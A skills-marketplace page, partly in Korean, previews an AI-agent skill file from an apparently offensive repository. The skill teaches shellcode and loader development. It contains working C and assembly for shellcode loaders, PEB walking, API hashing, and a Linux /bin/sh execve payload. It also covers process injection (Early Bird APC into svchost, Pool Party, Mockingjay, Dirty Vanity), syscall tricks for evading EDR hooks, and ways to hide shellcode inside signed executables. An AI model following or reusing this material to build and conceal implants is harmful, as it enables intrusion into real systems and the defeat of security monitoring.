Skip to main content

shellcode-dev

Use when writing position-independent shellcode or a loader — PEB walking, API hashing, null-byte avoidance, encoders, loaders, PE-to-shellcode conversion, cross-platform shellcode

소스 정보

저장소
hypnguyen1209/offensive-claude
최근 소스 활동
2026년 6월 29일 07:22
감지된 SKILL.md 언어
영어
스타
387
포크
68

설치 방법

기본적으로 소스를 먼저 확인하는 Prompt가 선택됩니다. 직접 명령으로 전환하거나 로컬 사본을 다운로드할 수도 있습니다.

소스 파일 검토

설치 여부를 결정하기 전에 SKILL.md와 SkillsMP에 표시된 보조 파일을 읽어 보세요.

SKILL.md 표시 중

SKILL.md
소스 지침 · 읽기 전용 미리보기
name
shellcode-dev
description
Use when writing position-independent shellcode or a loader — PEB walking, API hashing, null-byte avoidance, encoders, loaders, PE-to-shellcode conversion, cross-platform shellcode
metadata
{"type":"offensive","phase":"exploitation","tools":"keystone, nasm, msfvenom, donut, srdi, pwntools"}
kill_chain
{"phase":["weaponize"],"step":[2],"attck_tactics":["TA0042"]}
depends_on
["exploit-development","coding-mastery"]
feeds_into
["edr-evasion","initial-access"]
inputs
["target_architecture","payload_constraints"]
outputs
["shellcode","loader","injector"]
# Shellcode Development ## When to Activate - Writing custom x86/x64 shellcode - Implementing position-independent code (PIC) - Building shellcode loaders for implant delivery - Evading AV/EDR static detection - Converting PE files to shellcode - Cross-platform shellcode development ## Execution Pattern (Allocate-Write-Execute) Avoid direct `PAGE_EXECUTE_READWRITE` — prefer two-step: ```c // 1. Allocate with RW char *dest = VirtualAlloc(NULL, size, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE); // 2. Write shellcode memcpy(dest, shellcode, size); // 3. Switch to RX (no write permission) VirtualProtect(dest, size, PAGE_EXECUTE_READ, &old); // 4. Execute ((void(*)())dest)(); ``` ## Position-Independent Code (PIC) | Method | Platform | Notes | |--------|----------|-------| | Call/Pop | Windows | Push next addr, pop into register | | FPU state (fstenv) | Windows | Saves instruction pointer | | SEH | Windows | Exception handler stores EIP | | RIP-relative | x64 | `lea rax, [rip+offset]` | | GOT | Linux | Global Offset Table | | VDSO | Linux | Kernel-provided shared object | ## Windows API Resolution (PEB Walk) ```nasm ; x64 PEB walk to find kernel32.dll base find_kernel32: xor rcx, rcx mov rax, gs:[rcx + 0x60] ; RAX = PEB mov rax, [rax + 0x18] ; RAX = PEB->Ldr mov rsi, [rax + 0x20] ; RSI = InMemoryOrderModuleList lodsq ; skip first entry (exe) xchg rax, rsi lodsq ; skip ntdll mov rbx, [rax + 0x20] ; RBX = kernel32 base address ``` ### Export Address Table (EAT) Parsing ```nasm ; Parse EAT to find GetProcAddress mov ebx, [rbx + 0x3C] ; PE signature offset add rbx, r8 ; PE header mov edx, [rbx + 0x88] ; Export Directory RVA add rdx, r8 ; Export Directory VA mov r10d, [rdx + 0x14] ; NumberOfFunctions mov r11d, [rdx + 0x20] ; AddressOfNames RVA add r11, r8 ; AddressOfNames VA ; Loop through names, compare hash/string ``` ### API Hashing (ROR13) ```python # Generate hash for API name def ror13_hash(name): hash_val = 0 for c in name: hash_val = ((hash_val >> 13) | (hash_val << 19)) & 0xFFFFFFFF hash_val = (hash_val + ord(c)) & 0xFFFFFFFF return hash_val # Common hashes: # GetProcAddress: 0x7c0dfcaa # LoadLibraryA: 0xec0e4e8e # VirtualAlloc: 0x91afca54 # CreateProcessA: 0x863fcc79 ``` ## Null-Byte Avoidance | Problem | Solution | |---------|----------| | `mov rax, 0` | `xor rax, rax` | | `mov eax, 0x00000001` | `xor eax, eax; inc eax` | | String with null terminator | Push string in reverse, use stack pointer | | `add rsp, 0x200` | `sub rsp, 0xfffffffffffffdf8` (two's complement) | | Zero in immediate | Use `sub` from known value, or XOR encoding | ## Shellcode Loaders ### Loader Responsibilities 1. Environment verification / keying (sandbox detection) 2. Shellcode decryption (XOR, RC4, AES) 3. Safe memory allocation and injection 4. Execution transfer ### Recommended Languages - **Zig**: Small binary, no runtime, good for loaders - **Rust**: Memory-safe, no runtime overhead - **Nim**: Compiles to C, small binaries - **Go**: Cross-platform but watch for runtime signatures ### Allocation Strategies ```c // Two-step allocation (avoid RWX) LPVOID mem = VirtualAlloc(NULL, size, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE); memcpy(mem, shellcode, size); VirtualProtect(mem, size, PAGE_EXECUTE_READ, &old); // Alternative: Section mapping HANDLE hSection; NtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, &maxSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL); NtMapViewOfSection(hSection, GetCurrentProcess(), &localView, 0, 0, NULL, &viewSize, ViewUnmap, 0, PAGE_READWRITE); // Write shellcode to localView NtMapViewOfSection(hSection, GetCurrentProcess(), &execView, 0, 0, NULL, &viewSize, ViewUnmap, 0, PAGE_EXECUTE_READ); // Execute from execView ``` ### Evasion Tips for Write Phase - Prepend shellcode with dummy NOPs/garbage opcodes - Split into chunks, write in randomized order - Add random delays between writes - Use `NtWriteVirtualMemory` instead of `memcpy` for remote injection ### Execution Methods | Technique | Detection Risk | Notes | |-----------|---------------|-------| | CreateRemoteThread | HIGH | Heavily monitored by all EDRs | | NtQueueApcThreadEx | MEDIUM | APC injection, less monitored | | NtSetContextThread | MEDIUM | Hijack suspended thread context | | Callback functions | LOW | VirtualAlloc + EnumWindows callback | | Fiber execution | LOW | ConvertThreadToFiber + CreateFiber | | ThreadlessInject | VERY LOW | Overwrite rarely-called export | | Trampoline (DripLoader) | LOW | JMP to shellcode from ntdll function | ## PE-to-Shellcode Conversion | Tool | Purpose | |------|---------| | [Donut](https://github.com/TheWover/donut) | EXE/DLL/VBS/JS → position-independent shellcode | | [sRDI](https://github.com/monoxgas/sRDI) | DLL → reflective shellcode | | [Pe2shc](https://github.com/hasherezade/pe_to_shellcode) | PE → shellcode with custom loader | | [Amber](https://github.com/EgeBalci/amber) | Reflective PE packer with evasion | ## Shellcode Storage & Hiding | Location | Risk | Notes | |----------|------|-------| | Hardcoded in .text | Medium | Requires recompile | | PE Resources (RCDATA) | High | Most scanned by AV | | Certificate Table | Low | Keeps PE signature intact | | Extra PE section | Medium | Use second-to-last section | | Internet-hosted | Variable | Downloaded at runtime | | Registry values | Medium | Stored as binary data | | Alternate Data Streams | Low | NTFS-specific, less scanned | ### Certificate Table Technique (Recommended) - Pad Certificate Table with shellcode bytes - Update PE headers to reflect new size - Main executable signature remains valid - Only the loader DLL signature breaks - Protection: compress (LZMA) + encrypt (AES/RC4/XOR32) before storing ## DripLoader Pattern ``` 1. Reserve 64KB chunks with NO_ACCESS 2. Allocate 4KB RW chunks within that pool 3. Write shellcode in chunks in randomized order 4. Re-protect to RX 5. Overwrite prologue of ntdll!RtlpWow64CtxFromAmd64 with JMP trampoline 6. All calls via direct syscalls (NtAllocateVirtualMemory, NtWriteVirtualMemory, NtCreateThreadEx) ``` ## Cross-Platform Considerations ### Windows on ARM64 (WoA) - Syscalls use `SVC 0` with ARM64 syscall table - Pointer Authentication (PAC) signs LR — avoid stack pivots or re-sign with PACIASP - Different register conventions (x0-x7 for args, x8 for syscall number) ### Linux x64 ```nasm ; execve("/bin/sh", NULL, NULL) xor rsi, rsi mul rsi ; rax=0, rdx=0 push rsi mov rdi, 0x68732f2f6e69622f ; /bin//sh push rdi push rsp pop rdi ; rdi = pointer to "/bin//sh" mov al, 59 ; syscall number for execve syscall ``` ### macOS (Apple Silicon) - Syscall numbers offset by 0x2000000 (e.g., execve = 0x200003B) - Code signing enforcement — unsigned code won't execute without entitlements - Hardened runtime prevents most injection techniques ## Windows 11 24H2 Notes - AMSI heap scanning active: allocate PAGE_NOACCESS → decrypt in place → PAGE_EXECUTE_READ - Smart App Control blocks unsigned outbound connections - Enhanced stack tracing checks full call chain ## Advanced: Modern Injection Techniques ### Early Bird APC Injection ```c // Inject before process initialization — APC runs before entry point // Avoids EDR hooks that are set up during DLL loading STARTUPINFOA si = { sizeof(si) }; PROCESS_INFORMATION pi; CreateProcessA("C:\\Windows\\System32\\svchost.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi); // Allocate and write shellcode LPVOID base = VirtualAllocEx(pi.hProcess, NULL, scSize, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE); WriteProcessMemory(pi.hProcess, base, shellcode, scSize, NULL); VirtualProtectEx(pi.hProcess, base, scSize, PAGE_EXECUTE_READ, &old); // Queue APC to main thread — executes before entry point QueueUserAPC((PAPCFUNC)base, pi.hThread, 0); ResumeThread(pi.hThread); ``` ### Threadless Injection (Hook-Based) ```c // No new thread created — hijack existing thread's execution flow // Patch a function pointer or callback in target process // 1. Find a function in target that will be called (e.g., sleep callback, timer) // 2. Allocate shellcode in target process // 3. Overwrite function pointer to point to shellcode // 4. Shellcode executes when target naturally calls the function // 5. Shellcode restores original pointer after execution // Example: Hook NtWaitForSingleObject return in target's thread PVOID hookAddr = GetRemoteProcAddress(hProcess, "ntdll.dll", "NtWaitForSingleObject"); // Write trampoline: execute shellcode → jmp back to original BYTE trampoline[] = { 0x50, // push rax (save) 0x48, 0xB8, 0,0,0,0,0,0,0,0, // mov rax, shellcode_addr 0xFF, 0xD0, // call rax 0x58, // pop rax (restore) 0xE9, 0,0,0,0 // jmp original_bytes }; ``` ### Pool Party (Thread Pool Injection) ```c // Abuse Windows Thread Pool internals for injection // 5 variants targeting different TP structures // Variant 1: Worker Factory (TP_WORK) // Insert malicious TP_WORK item into target's thread pool queue // When thread pool processes work items, shellcode executes // Variant 2: Timer Queue // Create timer in target process's timer queue // Timer callback = shellcode address // Variant 3: I/O Completion Port // Queue completion packet to target's IOCP // Completion callback = shellcode // Variant 4: Wait Callback // Register wait on an object in target process // Signal the object → wait callback (shellcode) fires // Variant 5: TP_ALPC // Inject ALPC message that triggers callback in target's thread pool // Key advantage: No CreateRemoteThread, no APC — uses existing thread pool threads // EDR sees: legitimate thread pool activity ``` ### Mockingjay (RWX Section Abuse) ```c // Find DLLs with existing RWX sections — no VirtualAlloc/VirtualProtect needed // msys-2.0.dll has a large RWX section by default // 1. Find DLL with RWX section // 2. Load it into target process (or find already loaded) // 3. Write shellcode directly into RWX section // 4. Execute — no memory permission changes to trigger ETW TI // Self-injection variant: HMODULE hMod = LoadLibraryA("msys-2.0.dll"); PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((BYTE*)hMod + ((PIMAGE_DOS_HEADER)hMod)->e_lfanew); PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION(nt); for (int i = 0; i < nt->FileHeader.NumberOfSections; i++) { if ((sec[i].Characteristics & IMAGE_SCN_MEM_EXECUTE) && (sec[i].Characteristics & IMAGE_SCN_MEM_WRITE)) { PVOID rwx = (BYTE*)hMod + sec[i].VirtualAddress; memcpy(rwx, shellcode, scSize); ((void(*)())rwx)(); } } ``` ### Dirty Vanity (Process Forking) ```c // Use NtCreateProcessEx to fork current process // Forked process inherits all memory including shellcode // No WriteProcessMemory or VirtualAllocEx in target // 1. Allocate and prepare shellcode in current process // 2. Fork using NtCreateProcessEx (creates copy of address space) // 3. Create thread in forked process at shellcode address // Fork inherits memory layout — shellcode already present HANDLE hFork; NtCreateProcessEx(&hFork, PROCESS_ALL_ACCESS, NULL, GetCurrentProcess(), 0, NULL, NULL, NULL, 0); // Shellcode is already at same virtual address in fork NtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, hFork, shellcodeAddr, NULL, 0, 0, 0, 0, NULL); ``` ## Advanced: Syscall Techniques ### Hell's Gate (Runtime SSN Resolution) ```c // Resolve System Service Numbers (SSN) at runtime from ntdll // Avoids hardcoding SSNs that change between Windows versions // Pattern: ntdll Nt* functions start with: // 4C 8B D1 mov r10, rcx // B8 XX 00 00 00 mov eax, SSN ← extract this // 0F 05 syscall DWORD GetSSN(PVOID funcAddr) { BYTE* p = (BYTE*)funcAddr; if (p[0] == 0x4C && p[1] == 0x8B && p[2] == 0xD1 && // mov r10, rcx p[3] == 0xB8) { // mov eax, imm32 return *(DWORD*)(p + 4); } return 0; // Hooked — need neighbor technique } ``` ### Halo's Gate (Hooked SSN Recovery) ```c // When EDR hooks ntdll, the mov eax pattern is replaced with JMP // Solution: look at neighboring syscall stubs (±1, ±2...) and calculate DWORD GetSSNHalosGate(PVOID funcAddr) { BYTE* p = (BYTE*)funcAddr; // Check if function is hooked (starts with JMP instead of mov r10, rcx) if (p[0] == 0xE9 || p[0] == 0xFF) { // Walk UP to find unhooked neighbor for (int i = 1; i < 500; i++) { BYTE* neighbor = p - (i * 32); // syscall stubs are 32 bytes apart if (neighbor[0] == 0x4C && neighbor[1] == 0x8B && neighbor[3] == 0xB8) { return *(DWORD*)(neighbor + 4) + i; // neighbor SSN + offset } // Walk DOWN neighbor = p + (i * 32); if (neighbor[0] == 0x4C && neighbor[1] == 0x8B && neighbor[3] == 0xB8) { return *(DWORD*)(neighbor + 4) - i; // neighbor SSN - offset } } } return *(DWORD*)(p + 4); // Not hooked } ``` ### Tartarus' Gate (Exception-Based) ```c // Handle case where EDR uses different hook patterns // Some EDRs use: mov eax, SSN; jmp hook (preserving first instruction)
GitHub에서 보기
이 SKILL.md는 매우 커서 SkillsMP가 여기에는 첫 섹션만 미리 보여줍니다. GitHub에서 보기